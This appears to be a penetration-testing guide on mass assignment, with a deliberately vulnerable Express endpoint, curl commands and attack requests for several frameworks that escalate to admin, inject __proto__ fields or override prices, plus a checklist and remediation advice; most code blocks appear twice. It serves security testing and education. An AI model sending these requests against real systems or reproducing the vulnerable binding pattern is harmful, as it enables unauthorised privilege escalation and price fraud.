Mass Assignment
Mass assignment (also called autobinding or object injection) occurs when an application automatically binds HTTP request parameters to internal model properties. By adding extra fields to a request, attackers can modify properties not intended to be user-editable — such as role, isAdmin, price, or balance.
Danger
How Mass Assignment Works
Vulnerable Code Example (Node.js/Express)
The application updates the user model by spreading all request body fields directly:
// Vulnerable Express.js endpoint
app.put('/api/user/profile', (req, res) => {
// DANGEROUS: Binds ALL request fields to the user object
User.findByIdAndUpdate(req.user.id, req.body, { new: true })
.then(user => res.json(user));
});
// Normal request:
PUT /api/user/profile
{"name": "John", "email": "john@example.com"}
// Attack request — adding unauthorized fields:
PUT /api/user/profile
{"name": "John", "email": "john@example.com", "role": "admin", "isVerified": true}// Vulnerable Express.js endpoint
app.put('/api/user/profile', (req, res) => {
// DANGEROUS: Binds ALL request fields to the user object
User.findByIdAndUpdate(req.user.id, req.body, { new: true })
.then(user => res.json(user));
});
// Normal request:
PUT /api/user/profile
{"name": "John", "email": "john@example.com"}
// Attack request — adding unauthorized fields:
PUT /api/user/profile
{"name": "John", "email": "john@example.com", "role": "admin", "isVerified": true}Discovery Techniques
# Step 1: Find hidden fields by reading responses
# Make a GET request and note all returned fields:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .
# Response:
# {
# "id": 123,
# "name": "John",
# "email": "john@example.com",
# "role": "user", ← interesting!
# "isAdmin": false, ← interesting!
# "balance": 100, ← interesting!
# "verified": true
# }
# Step 2: Try adding these fields to an update request:
curl -X PUT https://target.com/api/user/profile \
-H 'Authorization: Bearer TOKEN' \
-H 'Content-Type: application/json' \
-d '{"name": "John", "role": "admin"}'
# Step 3: Check if the field was modified:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .role
# If output is "admin" → mass assignment confirmed!
# Step 4: Try common privileged fields:
# role, isAdmin, is_admin, admin, privilege, permissions
# verified, email_verified, is_verified, active
# balance, credits, price, discount
# password, password_hash (in some frameworks)
# created_at, updated_at (timestamp manipulation)# Step 1: Find hidden fields by reading responses
# Make a GET request and note all returned fields:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .
# Response:
# {
# "id": 123,
# "name": "John",
# "email": "john@example.com",
# "role": "user", ← interesting!
# "isAdmin": false, ← interesting!
# "balance": 100, ← interesting!
# "verified": true
# }
# Step 2: Try adding these fields to an update request:
curl -X PUT https://target.com/api/user/profile \
-H 'Authorization: Bearer TOKEN' \
-H 'Content-Type: application/json' \
-d '{"name": "John", "role": "admin"}'
# Step 3: Check if the field was modified:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .role
# If output is "admin" → mass assignment confirmed!
# Step 4: Try common privileged fields:
# role, isAdmin, is_admin, admin, privilege, permissions
# verified, email_verified, is_verified, active
# balance, credits, price, discount
# password, password_hash (in some frameworks)
# created_at, updated_at (timestamp manipulation)Framework-Specific Attacks
# Ruby on Rails:
# Look for params.permit() to see what's allowed
# Try adding fields not in the permit list:
POST /users
user[name]=John&user[email]=john@test.com&user[admin]=true
# Django (Python):
# If using ModelForm without Meta.fields or exclude:
POST /register/
username=john&email=john@test.com&is_staff=true&is_superuser=true
# Laravel (PHP):
# If the model has $guarded = [] (empty guard):
POST /api/user
{"name": "John", "is_admin": 1}
# Spring Boot (Java):
# If using @ModelAttribute without @InitBinder whitelist:
POST /user/update
name=John&email=john@test.com&roles=ADMIN
# ASP.NET:
# If using [Bind] without Include/Exclude:
POST /User/Edit
Name=John&Email=john@test.com&IsAdmin=true# Ruby on Rails:
# Look for params.permit() to see what's allowed
# Try adding fields not in the permit list:
POST /users
user[name]=John&user[email]=john@test.com&user[admin]=true
# Django (Python):
# If using ModelForm without Meta.fields or exclude:
POST /register/
username=john&email=john@test.com&is_staff=true&is_superuser=true
# Laravel (PHP):
# If the model has $guarded = [] (empty guard):
POST /api/user
{"name": "John", "is_admin": 1}
# Spring Boot (Java):
# If using @ModelAttribute without @InitBinder whitelist:
POST /user/update
name=John&email=john@test.com&roles=ADMIN
# ASP.NET:
# If using [Bind] without Include/Exclude:
POST /User/Edit
Name=John&Email=john@test.com&IsAdmin=trueAdvanced Scenarios
# Nested object injection:
PUT /api/user/profile
{
"name": "John",
"address": {
"street": "123 Main St",
"__proto__": {"isAdmin": true}
}
}
# Array manipulation:
POST /api/order
{
"items": [{"id": 1, "quantity": 1, "price": 0.01}]
}
# Override server-side price with client-supplied price
# Registration with role assignment:
POST /api/register
{
"username": "attacker",
"password": "password123",
"email": "attacker@test.com",
"role_id": 1,
"group_id": 1
}
# GraphQL mass assignment:
mutation {
updateUser(input: {
name: "John"
role: "ADMIN"
verified: true
}) {
id
name
role
}
}# Nested object injection:
PUT /api/user/profile
{
"name": "John",
"address": {
"street": "123 Main St",
"__proto__": {"isAdmin": true}
}
}
# Array manipulation:
POST /api/order
{
"items": [{"id": 1, "quantity": 1, "price": 0.01}]
}
# Override server-side price with client-supplied price
# Registration with role assignment:
POST /api/register
{
"username": "attacker",
"password": "password123",
"email": "attacker@test.com",
"role_id": 1,
"group_id": 1
}
# GraphQL mass assignment:
mutation {
updateUser(input: {
name: "John"
role: "ADMIN"
verified: true
}) {
id
name
role
}
}Testing Checklist
- 1. Read API responses to discover all model fields (especially role, admin, balance, verified)
- 2. Check API documentation (Swagger/OpenAPI) for model schemas with editable vs read-only fields
- 3. Add extra fields to update/create requests and check if they persist
- 4. Test registration endpoints for role/privilege escalation
- 5. Test nested objects and array parameters
- 6. Check if GraphQL mutations accept unauthorized fields
- 7. Compare user-role vs admin-role responses to identify hidden fields
Evidence Collection
Before: GET response showing original field values (role: user, isAdmin: false)
Attack Request: PUT/POST request with injected fields
After: GET response showing modified field values (role: admin, isAdmin: true)
CVSS Range: Privilege escalation: 8.1–9.8 | Price manipulation: 6.5–8.6
Remediation
- Allowlist fields: Explicitly define which fields can be set by user input (Rails:
params.permit(:name, :email)). - Use DTOs: Map requests to Data Transfer Objects with only user-editable fields, never bind directly to database models.
- Read-only decorators: Mark sensitive fields as read-only in the model/schema.
- Validate on the server: Never trust client-side field restrictions — always enforce on the backend.
False Positive Identification
- Parameter accepted but not stored: The API accepting extra fields in the request doesn't mean they're persisted — verify by fetching the resource and checking if the injected field was saved.
- Intended bulk update: Some APIs allow setting multiple fields intentionally (e.g., PATCH with partial updates) — focus on fields that should be restricted (role, admin, verified).
- Default values vs. injection: A field returning a default value (e.g., role=user) may not mean your injection worked — test with a non-default value to confirm.